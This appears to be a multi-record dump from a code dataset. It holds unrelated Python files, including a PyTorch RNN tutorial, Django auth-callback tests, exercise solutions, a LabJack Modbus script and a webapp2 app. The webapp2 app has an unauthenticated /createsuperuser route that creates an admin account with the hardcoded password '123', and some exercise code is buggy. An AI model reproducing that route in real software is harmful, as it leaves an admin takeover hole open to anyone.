Variable\nimport time\nimport math\nimport random\n\n\ndef find_files(path):\n return glob.glob(path)\n\n\nall_letters = string.ascii_letters + ' .,;\\''\nn_letters = len(all_letters)\n\n\ndef unicoed_to_ascii(s):\n return ''.join(c for c in unicodedata.normalize('NFD', s) if unicodedata.category(c) != 'Mn' and c in all_letters)\n\n\ncategory_lines = {}\nall_categories = []\n\n\ndef read_lines(filename):\n f = open(filename, encoding='utf-8')\n return [unicoed_to_ascii(line.strip()) for line in f]\n\n\nfor filename in find_files('data/names/*.txt'):\n category = filename.split('/')[-1].split('.')[0]\n all_categories.append(category)\n lines = read_lines(filename)\n category_lines[category] = lines\n\nn_categories = len(all_categories)\n\n\ndef letter_to_index(letter):\n return all_letters.find(letter)\n\n\ndef letter_to_torch(letter):\n tensor = torch.zeros(1, n_letters)\n tensor[0][letter_to_index(letter)] = 1\n return tensor\n\n\ndef line_to_tensor(line):\n tensor = torch.zeros(len(line), 1, n_letters)\n for li, letter in enumerate(line):\n tensor[li][0][letter_to_index(letter)] = 1\n return tensor\n\n\nclass RNN(nn.Module):\n def __init__(self, input_size, hidden_size, output_size):\n super(RNN, self).__init__()\n self.hidden_size = hidden_size\n self.i2h = nn.Linear(input_size + hidden_size, hidden_size)\n self.i2o = nn.Linear(input_size + hidden_size, output_size)\n self.softmax = nn.LogSoftmax()\n\n def forward(self, input_x, hidden):\n combined = torch.cat((input_x, hidden), 1)\n hidden = self.i2h(combined)\n # hidden_output = funcs.tanh(hidden)\n hidden_output = hidden\n output = self.i2o(combined)\n output = self.softmax(output)\n return output, hidden_output\n\n def init_hidden(self):\n return Variable(torch.zeros(1, self.hidden_size))\n\n\nn_hidden = 128\nrnn = RNN(n_letters, n_hidden, n_categories)\n\n\ndef category_from_output(output):\n top_n, top_i = output.data.topk(1)\n category_i = top_i[0][0]\n return all_categories[category_i], category_i\n\n\ncriterion = nn.NLLLoss()\nlearning_rate = 0.005\n\n\ndef random_choice(l):\n return l[random.randint(0, len(l) - 1)]\n\n\ndef random_training_example():\n category = random_choice(all_categories) # 随机选择一个类别\n line = random_choice(category_lines[category]) # 从该类别中随机选择一行记录\n category_tensor = Variable(torch.LongTensor([all_categories.index(category)]))\n line_tensor = Variable(line_to_tensor(line))\n return category, line, category_tensor, line_tensor\n\n\nfor i in range(10):\n category, line, category_tensor, line_tensor = random_training_example()\n print('category =', category, '/ line =', line)\n\n\ndef train(category_tensor, line_tensor):\n hidden = rnn.init_hidden()\n rnn.zero_grad()\n for i in range(line_tensor.size()[0]):\n output, hidden = rnn(line_tensor[i], hidden)\n loss = criterion(output, category_tensor)\n loss.backward()\n for p in rnn.parameters():\n p.data.add_(-learning_rate, p.grad.data)\n return output, loss.data[0]\n\n\nn_iters = 100000\nprint_every = 5000\nplot_every = 1000\n\ncurrent_loss = 0\nall_losses = []\n\n\ndef time_since(since):\n now = time.time()\n s = now - since\n m = math.floor(s / 60)\n return '%dm, %ds' % (m, s)\n\n\nstart = time.time()\n\nfor _iter in range(1, n_iters + 1):\n category, line, category_tensor, line_tensor = random_training_example() # 随机采样\n output, loss = train(category_tensor, line_tensor)\n current_loss += loss\n if _iter % print_every == 0:\n guess, guess_i = category_from_output(output)\n correct = '✓' if guess == category else '✗ (%s)' % category\n print(\n '%d %d%% (%s) %.4f %s / %s %s' % (\n _iter, _iter / n_iters * 100, time_since(start), loss, line, guess, correct))\n\n # Add current loss avg to list of losses\n if _iter % plot_every == 0:\n all_losses.append(current_loss / plot_every)\n current_loss = 0\n","sub_path":"PyTorch_Tutorials/examples/class_name_country.py","file_name":"class_name_country.py","file_ext":"py","file_size_in_byte":4415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"425192876","text":"import json\nfrom unittest.mock import Mock, patch\n\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.core.signing import TimestampSigner\nfrom django.test import RequestFactory\nfrom django.urls import reverse\n\nfrom sites_microsoft_auth.views import AuthenticateCallbackView\n\nfrom . import TestCase\n\nSTATE = TimestampSigner().sign(\n \"e4675ea8d28a41b8b416fe9ed1fb52b1e4675ea8d28a41b8b416fe9ed1fb52b1\"\n)\nEXPIRED_STATE = (\n \"e4675ea8d28a41b8b416fe9ed1fb52b1e4675ea8d28a41b8b416fe9ed1fb52b1:\"\n \"1h5CgL:G-QiLZ3hetUPgrdpJlvAfXkZ2RQ\"\n)\nTEST_ERROR = \"test\"\nTEST_ERROR_DESCRIPTION = \"some_error\"\n\n\nclass ViewsTests(TestCase):\n def setUp(self):\n super().setUp()\n\n User = get_user_model()\n self.factory = RequestFactory()\n self.request = self.factory.get(\"/\")\n self.site = get_current_site(self.request)\n\n self.user = User.objects.create(username=\"test\", site=self.site)\n\n def test_authenticate_callback_bad_method(self):\n response = self.client.get(reverse(\"sites_microsoft_auth:auth-callback\"))\n\n self.assertEqual(405, response.status_code)\n\n def test_authenticate_callback_no_params(self):\n response = self.client.post(reverse(\"sites_microsoft_auth:auth-callback\"))\n message = json.loads(response.context[\"message\"])[\"microsoft_auth\"]\n\n self.assertEqual(400, response.status_code)\n self.assertEqual(\"bad_state\", message[\"error\"])\n self.assertEqual(\n AuthenticateCallbackView.messages[\"bad_state\"],\n message[\"error_description\"],\n )\n\n def test_authenticate_callback_bad_state_format(self):\n response = self.client.post(\n reverse(\"sites_microsoft_auth:auth-callback\"), {\"state\": \"test\"}\n )\n message = json.loads(response.context[\"message\"])[\"microsoft_auth\"]\n\n self.assertEqual(400, response.status_code)\n self.assertEqual(\"bad_state\", message[\"error\"])\n self.assertEqual(\n AuthenticateCallbackView.messages[\"bad_state\"],\n message[\"error_description\"],\n )\n\n def test_authenticate_callback_bad_state_length(self):\n response = self.client.post(\n reverse(\"sites_microsoft_auth:auth-callback\"), {\"state\": \"001464\"}\n )\n message = json.loads(response.context[\"message\"])[\"microsoft_auth\"]\n\n self.assertEqual(400, response.status_code)\n self.assertEqual(\"bad_state\", message[\"error\"])\n self.assertEqual(\n AuthenticateCallbackView.messages[\"bad_state\"],\n message[\"error_description\"],\n )\n\n def test_authenticate_callback_bad_state(self):\n response = self.client.post(\n reverse(\"sites_microsoft_auth:auth-callback\"), {\"state\": STATE[:-1]}\n )\n message = json.loads(response.context[\"message\"])[\"microsoft_auth\"]\n\n self.assertEqual(400, response.status_code)\n self.assertEqual(\"bad_state\", message[\"error\"])\n self.assertEqual(\n AuthenticateCallbackView.messages[\"bad_state\"],\n message[\"error_description\"],\n )\n\n def test_authenticate_callback_bad_state_expired(self):\n response = self.client.post(\n reverse(\"sites_microsoft_auth:auth-callback\"), {\"state\": EXPIRED_STATE}\n )\n message = json.loads(response.context[\"message\"])[\"microsoft_auth\"]\n\n self.assertEqual(400, response.status_code)\n self.assertEqual(\"bad_state\", message[\"error\"])\n self.assertEqual(\n AuthenticateCallbackView.messages[\"bad_state\"],\n message[\"error_description\"],\n )\n\n def test_authenticate_callback_missing_code(self):\n\n response = self.client.post(\n reverse(\"sites_microsoft_auth:auth-callback\"), {\"state\": STATE}\n )\n message = json.loads(response.context[\"message\"])[\"microsoft_auth\"]\n\n self.assertEqual(400, response.status_code)\n self.assertEqual(\"missing_code\", message[\"error\"])\n self.assertEqual(\n AuthenticateCallbackView.messages[\"missing_code\"],\n message[\"error_description\"],\n )\n\n def test_authenticate_callback_error(self):\n response = self.client.post(\n reverse(\"sites_microsoft_auth:auth-callback\"),\n {\n \"state\": STATE,\n \"error\": TEST_ERROR,\n \"error_description\": TEST_ERROR_DESCRIPTION,\n },\n )\n message = json.loads(response.context[\"message\"])[\"microsoft_auth\"]\n\n self.assertEqual(400, response.status_code)\n self.assertEqual(TEST_ERROR, message[\"error\"])\n self.assertEqual(TEST_ERROR_DESCRIPTION, message[\"error_description\"])\n\n @patch(\"sites_microsoft_auth.views.authenticate\")\n def test_authenticate_callback_fail_auth(self, mock_auth):\n mock_auth.return_value = None\n\n response = self.client.post(\n reverse(\"sites_microsoft_auth:auth-callback\"),\n {\"state\": STATE, \"code\": \"test_code\"},\n )\n message = json.loads(response.context[\"message\"])[\"microsoft_auth\"]\n\n self.assertEqual(400, response.status_code)\n self.assertEqual(\"login_failed\", message[\"error\"])\n self.assertEqual(\n AuthenticateCallbackView.messages[\"login_failed\"],\n message[\"error_description\"],\n )\n\n @patch(\"sites_microsoft_auth.views.authenticate\")\n @patch(\"sites_microsoft_auth.views.login\")\n def test_authenticate_callback_success(self, mock_login, mock_auth):\n mock_auth.return_value = self.user\n\n response = self.client.post(\n reverse(\"sites_microsoft_auth:auth-callback\"),\n {\"state\": STATE, \"code\": \"test_code\"},\n )\n message = json.loads(response.context[\"message\"])[\"microsoft_auth\"]\n\n self.assertEqual(200, response.status_code)\n self.assertEqual({}, message)\n mock_login.assert_called_with(response.wsgi_request, self.user)\n\n @patch(\"sites_microsoft_auth.views.authenticate\")\n @patch(\"sites_microsoft_auth.views.login\")\n @patch(\"sites_microsoft_auth.views.get_hook\")\n def test_callback_hook(self, mock_get_hook, mock_login, mock_auth):\n def callback(request, context):\n return context\n\n mock_auth.return_value = self.user\n\n mock_hook = Mock(side_effect=callback)\n mock_get_hook.return_value = mock_hook\n\n response = self.client.post(\n reverse(\"sites_microsoft_auth:auth-callback\"),\n {\"state\": STATE, \"code\": \"test_code\"},\n )\n\n expected_context = {}\n expected_context[\"base_url\"] = response.context[\"base_url\"]\n expected_context[\"message\"] = response.context[\"message\"]\n\n self.assertIsInstance(expected_context, dict)\n mock_hook.assert_called_with(response.wsgi_request, expected_context)\n","sub_path":"tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":6894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"155155176","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the sockMerchant function below.\ndef sockMerchant(n, ar):\n socks = 0\n ar.sort()\n for i in range(0, n-1):\n try: \n if ar[i] == ar[i+1]:\n socks += 1\n del ar[i+1:i+2]\n except IndexError:\n print(\"IndexError\")\n return socks\n \n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n n = int(input())\n\n ar = list(map(int, input().rstrip().split()))\n\n result = sockMerchant(n, ar)\n\n fptr.write(str(result) + '\\n')\n\n fptr.close()","sub_path":"sockMerchant.py","file_name":"sockMerchant.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"501892526","text":"import numpy as np\nimport torch\nfrom torch import nn\n\ndef test_tensor_type():\n x_train = np.array([[3.3], [4.4], [5.5], [6.71], [6.93], [4.168],\n [9.779], [6.182], [7.59], [2.167], [7.042],\n [10.791], [5.313], [7.997], [3.1]])\n\n x_train_ts = torch.Tensor(x_train)\n x_train_np = torch.from_numpy(x_train)\n print(x_train_ts,x_train_np)\n out = nn.Linear(1,1)(x_train_np)\n print(out)\n\nif __name__ == '__main__':\n test_tensor_type()","sub_path":"docs/book/pytorch/tensor.py","file_name":"tensor.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"502706987","text":"import matplotlib.pyplot as plt\r\nfrom matplotlib import colors,ticker,cm\r\nfrom scipy.interpolate import griddata\r\nfrom scipy import interpolate\r\nimport numpy as np\r\nimport math\r\nimport random\r\nimport os\r\n\r\narquivo2 = open(\"saida_varmap.txt\",\"r\")\r\ngdiscrete = int(arquivo2.readline())\r\nncontour = int(arquivo2.readline())\r\narquivo2.close()\r\nazimute_adm, lag_adm, continuidade = np.loadtxt(\"saida_varmap.txt\",dtype= float,delimiter=\"\t\", skiprows = 2, usecols=(0,1,2), unpack=True)\r\n\r\ngdiscrete = 40\r\nncontour = 40\r\n\r\nx = np.array(lag_adm)*np.sin(np.array(azimute_adm))\r\ny = np.array(lag_adm)*np.cos(np.array(azimute_adm))\r\n\r\nmaximo = 0\r\nif (max(x) > max(y)):\r\n\tmaximo = max(x)\r\nelse:\r\n\tmaximo = max(y)\r\n\r\n\r\nXi = np.linspace(-maximo,maximo,gdiscrete)\r\nYi = np.linspace(-maximo,maximo,gdiscrete)\r\n\r\n\r\n\r\n\r\n#make the axes\r\nf = plt.figure()\r\nleft, bottom, width, height= [0,0.1, 0.7, 0.7]\r\nax = plt.axes([left, bottom, width, height])\r\npax = plt.axes([left, bottom, width, height],\r\n\t\tprojection='polar',\r\n\t\taxisbg='none')\r\n\r\npax.set_theta_zero_location(\"N\")\r\npax.set_theta_direction(-1)\r\n\r\n\r\nax.set_aspect(1)\r\nax.axis('Off')\r\n\r\n\r\n# grid the data.\r\nVi = griddata((x, y), np.array(continuidade), (Xi[None,:], Yi[:,None]), method='linear')\t\r\ncf = ax.contourf(Xi,Yi,Vi, ncontour, cmap=plt.cm.jet)\r\n\r\n\r\ngradient = np.linspace(1,0, 256)\r\ngradient = np.vstack((gradient, gradient))\r\n\r\n\r\ncax = plt.axes([0.7, 0.05, 0.05, 0.8])\r\ncax.xaxis.set_major_locator(plt.NullLocator())\r\ncax.yaxis.tick_right()\r\ncax.imshow(gradient.T, aspect='auto', cmap=plt.cm.jet)\r\ncax.set_yticks(np.linspace(0,256,len(cf.get_array())))\r\ncax.set_yticklabels(map(str, cf.get_array())[::-1])\r\n\r\nplt.show()\r\nplt.close()\r\n","sub_path":"dez-2015/varmap-plugin/PLUGINS_WINDOWS/ARQUIVOS PLOT/plot_varmap.py","file_name":"plot_varmap.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"273006720","text":"\"\"\" Regular Expression Demonstration\nI/P -> read in the Message\nLogic -> Use Regex to do the following\nReplace <> by first name of the user ( assume you are the user)\nreplace <> by user full name.replace any occurance of mobile number\nthat should be in format 91-xxxxxxxxxx by your contact number.\nreplace any date in the format XX/XX/XXXX by current date.\nO/P -> Print the Modified Message.\n\"\"\"\n\nimport re # re is python module\nimport datetime\n\nclass RegularExpression:\n\n def regex_function(self):\n string = \" Hello <>,we have your full name as <> in our system.\"\n first_name = input(\"Enter your first name: \")\n string_one = re.sub(\"<>\", first_name,string) # sub method is used to replace the text.\n full_name = input(\"Enter your full name: \")\n string_two = re.sub(\"<>\", full_name,string_one)\n # print(string_two,\"\\n\")\n try:\n contact_string = \"Your contact number is 91-xxxxxxxxxx.\"\n mobil_number = int(input(\"Enter Your Mobile Number: \"))\n new_mobile_num = str(mobil_number)\n new_string = re.sub(\"xxxxxxxxxx\", new_mobile_num, contact_string)\n # print(new_string, \"\\n\")\n except ValueError:\n print(\"Enter the data in number\\n\")\n date_string = \"please, let us know in case of any clarification Thank you BridgeLabs,on <>-XX/XX/XXXX. \"\n\n date = datetime.date.today() # date.today is display the today date\n replace_date = str(date)\n day = date.strftime(\"%A\") # this method is used to display the day in full name .\n day1 = re.sub(\"<>\", day, date_string)\n bridge_lab = re.sub(\"XX/XX/XXXX\", replace_date, day1)\n # print(bridge_lab, \"\\n\")\n print(\"Complete String\")\n print(string_two , new_string)\n print(bridge_lab)\nobject1 = RegularExpression()\nif __name__ == '__main__':\n try:\n object1.regex_function()\n except UnboundLocalError:\n print(\"try again by entering the valid data\")\n","sub_path":"ObjectOrientedProgramming/Regular_Expression_2.py","file_name":"Regular_Expression_2.py","file_ext":"py","file_size_in_byte":2046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"632604902","text":"# 3 вариант\nwith open('text.txt', 'w', encoding='utf-8') as f:\n f.write('')\n\nprint('Вводите слова через ENTER. Когда вы закончите, введите пустую строку.')\nword = input()\n\nif word == '':\n print('Ни одного слова не было введено.')\n \ncount = 0\nwhile word != '':\n count += 1\n with open('text.txt', 'a', encoding='utf-8') as f:\n f.write(word[count:]+'\\n')\n word = input()\n","sub_path":"hw5/hw5.py","file_name":"hw5.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"48331269","text":"from argparse import ArgumentParser\nfrom socket import *\np = ArgumentParser()\np.add_argument('--addr',default='192.168.37.160',help='ip address of labjack t7')\np.add_argument('--w',type=int,help='write this to the register')\np.add_argument('--r32',action='store_true')\np.add_argument('--n',default=1,type=int,help='number of regs to read')\np.add_argument('reg',type=int,help='register')\na = p.parse_args()\nif a.r32:\n\tm = 2\nelse:\n\tm = 1\ns = socket(AF_INET,SOCK_STREAM)\ns.connect((a.addr,502))\nmsg = bytearray(7)\nmsg[0] = 0xbe\nmsg[1] = 0xef\nmsg[2] = 0 #ignore\nmsg[3] = 0 #ignore\nmsg[4] = 0 #length\nmsg[5] = 0 #length\nmsg[6] = 0xff #ignore\nif a.w is not None:\n\tmsg.append(0x10) #write reg\n\tmsg.append((a.reg >> 8) & 0xff) #Start reg msb\n\tmsg.append(a.reg & 0xff) #start reg lsb\n\tmsg.append(0) #num regs to read\n\tmsg.append(a.n*m) #num regs to read\n\tmsg.append(2*a.n*m) #num bytes to follow\n\tfor i in reversed(range(2*a.n*m)):\n\t\tmsg.append((a.w >> (i*8)) & 0xff)\nelse:\n\tmsg.append(0x4) #read reg\n\tmsg.append((a.reg >> 8) & 0xff) #Start reg msb\n\tmsg.append(a.reg & 0xff) #start reg lsb\n\tmsg.append(0) #num regs to read\n\tmsg.append(a.n*m) #num regs to read\nsize = len(msg) - 6\nmsg[4] = (size >> 8) & 0xff\nmsg[5] = size & 0xff\ns.send(msg)\n\nb = bytearray()\nfor i in range(100):\n\tr = s.recv(2048)\n\tif r == '':\n\t\tbreak\n\telse:\n\t\tb += bytearray(r)\n\t\tif len(b) > 6:\n\t\t\tsize = (b[4] << 8) | b[5]\n\t\t\tif (size + 6) == len(b):\n\t\t\t\tprint('got entire message, %d bytes total' % len(b))\n\t\t\t\tbreak\nfor i in msg:\n\tprint(hex(i),end='')\n\tprint(' ',end='')\nprint('')\nfor i in b:\n\tprint(hex(i),end='')\n\tprint(' ',end='')\nprint('')\ns.close()\n","sub_path":"pymisc/t7rwreg.py","file_name":"t7rwreg.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"6091131","text":"import webapp2\n\nfrom handlers import frontpages as f\nfrom handlers import userpages as u\nfrom handlers import adminpages as a\nfrom handlers import base as b\nfrom handlers import angular_calls as ac\nfrom handlers import mockdata as m\n\nfrom google.appengine.ext import ndb\n\n\nclass createSuperUser(b.Handler):\n\n def get(self):\n from models import users as U\n from utils import cryptography as c\n u = U.User(parent=U.users_key())\n\n username = \"SuperDaniel\"\n password = \"123\"\n\n u.username = username\n u.pw_hash = c.make_pw_hash(username, password)\n u.user_type = 'admin'\n u.personal = U.Personal(\n first_name=\"Daniel\",\n last_name=\"Bok\",\n mobile_number='12345678',\n email='daniel_bok@mymail.sutd.edu.sg',\n postal_code='487372',\n address='8 Somapah Road'\n )\n\n if not U.User.by_name(u.username):\n u.put()\n self.redirect('/login')\n else:\n self.write(\"Already Done\")\n\n\nclass Test(b.Handler):\n def get(self):\n message = self.request.get('query')\n self.write(message)\n\n\napp = webapp2.WSGIApplication([\n # Front Pages\n webapp2.Route(r'/', handler=f.Login, name=\"Login\"),\n webapp2.Route(r'/login', handler=f.Login, name=\"Login\"),\n webapp2.Route(r'/logout', handler=f.Logout, name=\"Logout\"),\n webapp2.Route(r'/register', handler=f.Register, name=\"Register\"),\n webapp2.Route(r'/redirect', handler=f.Director, name=\"Redirect\"),\n webapp2.Route(r'/error', handler=b.ErrorPage, name=\"Error\"),\n # User Pages\n webapp2.Route(r'/users/dashboard', handler=u.Dashboard, name=\"User Dashboard\"),\n webapp2.Route(r'/users/healthyfood', handler=u.HealthyFood, name=\"Healthy Food\"),\n # Admin Pages\n webapp2.Route(r'/admin/dashboard', handler=a.Dashboard, name=\"Admin Dashboard\"),\n webapp2.Route(r'/admin/map', handler=a.ShowMap, name=\"Admin Map\"),\n # API Calls\n webapp2.Route(r'/getapi/healthyfood', handler=ac.GetFood, name=\"Healthy Food JSON\"),\n webapp2.Route(r'/users/postdata', handler=u.PostData, name=\"Post Data\"),\n webapp2.Route(r'/users/postdata2', handler=u.PostData2, name=\"Post Data\"),\n # Misc\n webapp2.Route(r'/mock/insertion', handler=m.createMock, name=\"Create Mock Data\"),\n webapp2.Route(r'/mock/rushmock', handler=m.rushMock, name=\"Rush Mock Data\"),\n webapp2.Route(r'/createsuperuser', handler=createSuperUser, name=\"SuperUser\"),\n webapp2.Route(r'/test', handler=Test,name=\"Test\"),\n], debug=True)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"73614646","text":"import logging\nfrom Products.CMFCore.utils import getToolByName\nfrom zope.component.hooks import getSite\nfrom zope.annotation.interfaces import IAnnotations\nfrom Products.CMFCore.interfaces._content import IFolderish\n\nPROFILE = 'profile-collective.favoriting:default'\nlogger = logging.getLogger(__name__)\n\n\ndef common(context):\n setup = getToolByName(context, 'portal_setup')\n setup.runAllImportStepsFromProfile(PROFILE)\n\n\ndef cleanup_annotations(context):\n \"\"\"\n http://developer.plone.org/misc/annotations.html\n Remove objects from content annotations in Plone site,\n\n This is mostly to remove objects which might make the site un-exportable\n when eggs / Python code has been removed.\n\n @param portal: Plone site object\n\n @param names: Names of the annotation entries to remove\n \"\"\"\n portal = getSite()\n name = 'collective.favoriting.storage.FavoritingStorage'\n\n def recurse(context):\n \"\"\" Recurse through all content on Plone site \"\"\"\n\n annotations = IAnnotations(context)\n\n if name in annotations:\n msg = \"Cleaning up annotation %s on item %s\"\n msg = msg % (name, context.absolute_url())\n logger.info(msg)\n del annotations[name]\n\n # Make sure that we recurse to real folders only,\n # otherwise contentItems() might be acquired from higher level\n if IFolderish.providedBy(context):\n for id, item in context.contentItems():\n recurse(item)\n\n recurse(portal)\n","sub_path":"collective/favoriting/upgrades.py","file_name":"upgrades.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"563120520","text":"def Minimum(number):\n Min = value[0][\"Score\"]\n for index1 in range(len(number)):\n if value[index1][\"Score\"] < Min:\n Min = value[index1][\"Score\"]\n return Min\n\ndef Maximum(number):\n Max = value[0][\"Score\"]\n for index2 in range(len(value)):\n if value[index2][\"Score\"] > Max:\n Max = value[index2][\"Score\"]\n return Max\n\nvalue = [\n {\n \"Name\":\"chum\",\"Score\": 20\n },\n {\n \"Name\":\"Vann\",\"Score\":300\n },\n {\n \"Name\":\"Socheat\",\"Score\": 1\n },\n {\n \"Name\":\"Chet\",\"Score\": 120\n }\n]\naddDic = {}\naddDic[\"The minimum fo the number is\"] = Minimum(value)\naddDic[\"The maximum fo the number is\"] = Maximum(value)\nprint(addDic)","sub_path":"python-self/Week/week17/ex2_Find_min_max.py","file_name":"ex2_Find_min_max.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"110939289","text":"# Given a value N, if we want to make change for N cents, and we have infinite supply of each of S = { S1, S2, .. , Sm} valued coins, how many ways can we make the change? The order of coins doesn\\’t matter.\n# For example, for N = 4 and S = {1,2,3}, there are four solutions: {1,1,1,1},{1,1,2},{2,2},{1,3}. So output should be 4. For N = 10 and S = {2, 5, 3, 6}, there are five solutions: {2,2,2,2,2}, {2,2,3,3}, {2,2,6}, {2,3,5} and {5,5}. So the output should be 5\n\ndef coin(n,s):\n table=[0]*(n+1)\n table[0]=1\n for i in range(0,len(s)):\n for j in range(s[i],n+1):\n table[j]=table[j]+table[j-s[i]]\n return table[n]\n\n\n\n\na=input().rstrip().split()\nn=int(a[0])\nm=int(a[1])\nc=list(map(int,input().rstrip().split()))\nresult=coin(n,c)\nprint(result)\n","sub_path":"Algorithms/Dynamic programming/coin change problem.py","file_name":"coin change problem.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"400245284","text":"import re\n\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.utils.deprecation import MiddlewareMixin\n\n# 登陆校验中间件\nfrom carts.models import ShoppingCart\nfrom user.models import User\n\n\nclass UserLoginMiddleware(MiddlewareMixin):\n # 请求之前执行该函数\n def process_request(self,request):\n not_need_check = ['/user/login/', '/user/register/', '/user/logout/',\n '/goods/(.*)', '/carts/(.*)',]\n path = request.path #获取请求地址\n # if path in not_need_check: # <转换器匹配>\n # return None\n for not_path in not_need_check:\n if re.match(not_path,path): # 正则匹配当前路由是否需要验证\n return None\n username = request.session.get('username')\n if not username:\n return HttpResponseRedirect(reverse('user:login'))\n # session存入的是user_id,需要将用户对象绑定到request.user,才能全局使用\n # user = User.objects.get(pk=user_id)\n # request.user = user\n\n\n# 登陆时同步购物车数据中间件\nclass AddCartsMiddleware(MiddlewareMixin):\n def process_response(self, request,response):\n username = request.session.get('username')\n if username:\n user = User.objects.filter(username=username).first()\n # 获取购物车中所有goods_id\n goods_id_list = ShoppingCart.objects.filter(user_id=user.id).all().values('goods_id') # 存放形式:[{},{}]\n goods_ids = []\n for goods_id_dict in goods_id_list: # 列表套内了一个字典\n goods_ids.append(goods_id_dict['goods_id'])\n\n session_goods = request.session.get('session_goods')\n if session_goods: # 是否存在session_goods\n # session数据同步到购物车\n for g in session_goods:\n if g[0] in goods_ids:\n carts = ShoppingCart.objects.filter(user_id=user.id,goods_id=g[0]).first()\n if request.session.get('is_sync') == 0:\n carts.nums += g[1] # 登陆后第一次同步: session数量叠加到数据库\n else:\n carts.nums = g[1] # # 之后同步,将session的商品num替换数据库的num\n carts.save()\n else:\n carts = ShoppingCart()\n carts.goods_id = g[0]\n carts.nums = g[1]\n carts.is_select = 1\n carts.user_id = user.id\n carts.save()\n request.session['is_sync'] = 1 # 第一次同步后:将状态置1\n # 购物车同步到session\n cartss = ShoppingCart.objects.filter(user_id=user.id).all() # 获取购物车所有数据\n session_goods = []\n for carts in cartss:\n goods_id = carts.goods_id\n count = carts.nums\n is_select = carts.is_select\n session_goods.append([goods_id, count, is_select])\n request.session['session_goods'] = session_goods\n return response\n\n\n\n\n\n\n\n\n\n # else: # 第一次之后进来\n # for g in session_goods:\n # if g[0] in goods_ids:\n # carts = ShoppingCart.objects.filter(user_id=user.id,goods_id=g[0]).first()\n # carts.nums = g[1] # 第二次进来,将session的商品num替换数据库的num\n # carts.save()\n # else:\n # carts = ShoppingCart()\n # carts.goods_id = g[0]\n # carts.nums = g[1]\n # carts.is_select = 1\n # carts.user_id = user.id\n # carts.save()\n # # 购物车同步到session\n # cartss = ShoppingCart.objects.filter(user_id=user.id).all() # 获取购物车所有数据\n # session_goods = []\n # for carts in cartss:\n # goods_id = carts.goods_id\n # count = carts.nums\n # is_select = carts.is_select\n # session_goods.append([goods_id, count, is_select])\n # request.session['session_goods'] = session_goods\n\n","sub_path":"fresh_shop/utils/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":4516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"531561673","text":"# Time Complexity : Add - O(m+n), m is length of haystack, n - length of needle\n# Space Complexity :O(n)\n# Did this code successfully run on Leetcode : Yes\n# Any problem you faced while coding this : No\n'''\n1. use KMP algorithm\n2. Maintain LPS array that store maximum length of prefix and suffix for the pattern\n3. We have 2 pointers i, j. i moves across haystack and j moves across needle.\n4. if j rosses the last element in needle, means the pattern exists\n5. If not we relocate the j based on LPS\n'''\n\nclass Solution:\n def strStr(self, haystack: str, needle: str) -> int:\n \n if len(needle) == 0:\n return 0\n i, j = 0, 0\n lps = self.calc_lps(needle)\n while i < len(haystack):\n if haystack[i] == needle[j]:\n i += 1\n j += 1\n \n if j == len(needle):\n return i-len(needle)\n \n if i 0 and haystack[i] != needle[j]:\n j = lps[j-1]\n \n elif i < len(haystack) and j==0 and haystack[i] != needle[j]:\n i += 1\n \n return -1\n \n \n \n def calc_lps(self, needle):\n \n lps = [0]*len(needle)\n j = 0\n i = 1\n \n while i < len(needle):\n \n if needle[i] == needle[j]:\n j += 1\n lps[i] = j\n i += 1\n \n elif j > 0 and needle[i] != needle[j]:\n j = lps[j-1]\n \n elif j == 0 and needle[i] != needle[j]:\n lps[i] = 0\n i += 1\n return lps\n \n ","sub_path":"StrStr.py","file_name":"StrStr.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"68008332","text":"from django.db.models.signals import post_syncdb\n\nfrom .models import *\n\ndef create_constitution(sender, **kwargs):\n\n if Article.documents.filter(title=\"ASHMC Constitution\").count()> 0:\n return\n\n root = Article.objects.create(\n title=\"ASHMC Constitution\",\n body=\"\"\"The ASHMC Constitution is organized hierarchically into articles (denoted by upper-case roman numerals I, II, III...), sections (denoted by arabic numerals 1, 2, 3...), sub-sections (denoted by upper-case letters A, B, C...), paragraphs (denoted by arabic numerals) and sub-paragraphs (denoted by lower-case roman numerals i, ii, iii, iv...).\n\nYou can read the bylaws [here](/legal/ashmc-bylaws).\n\nYou can download the constitution [here](/legal/pdf/). (PDF)\n \"\"\"\n )\n\n article = Article.objects.create(\n parent=root,\n number=1,\n title=\"Name and Membership\",\n )\n section = Article.objects.create(\n parent=article,\n number=1,\n body=\"This organization shall be known as the Associated Students of Harvey Mudd College, which is officially designated by 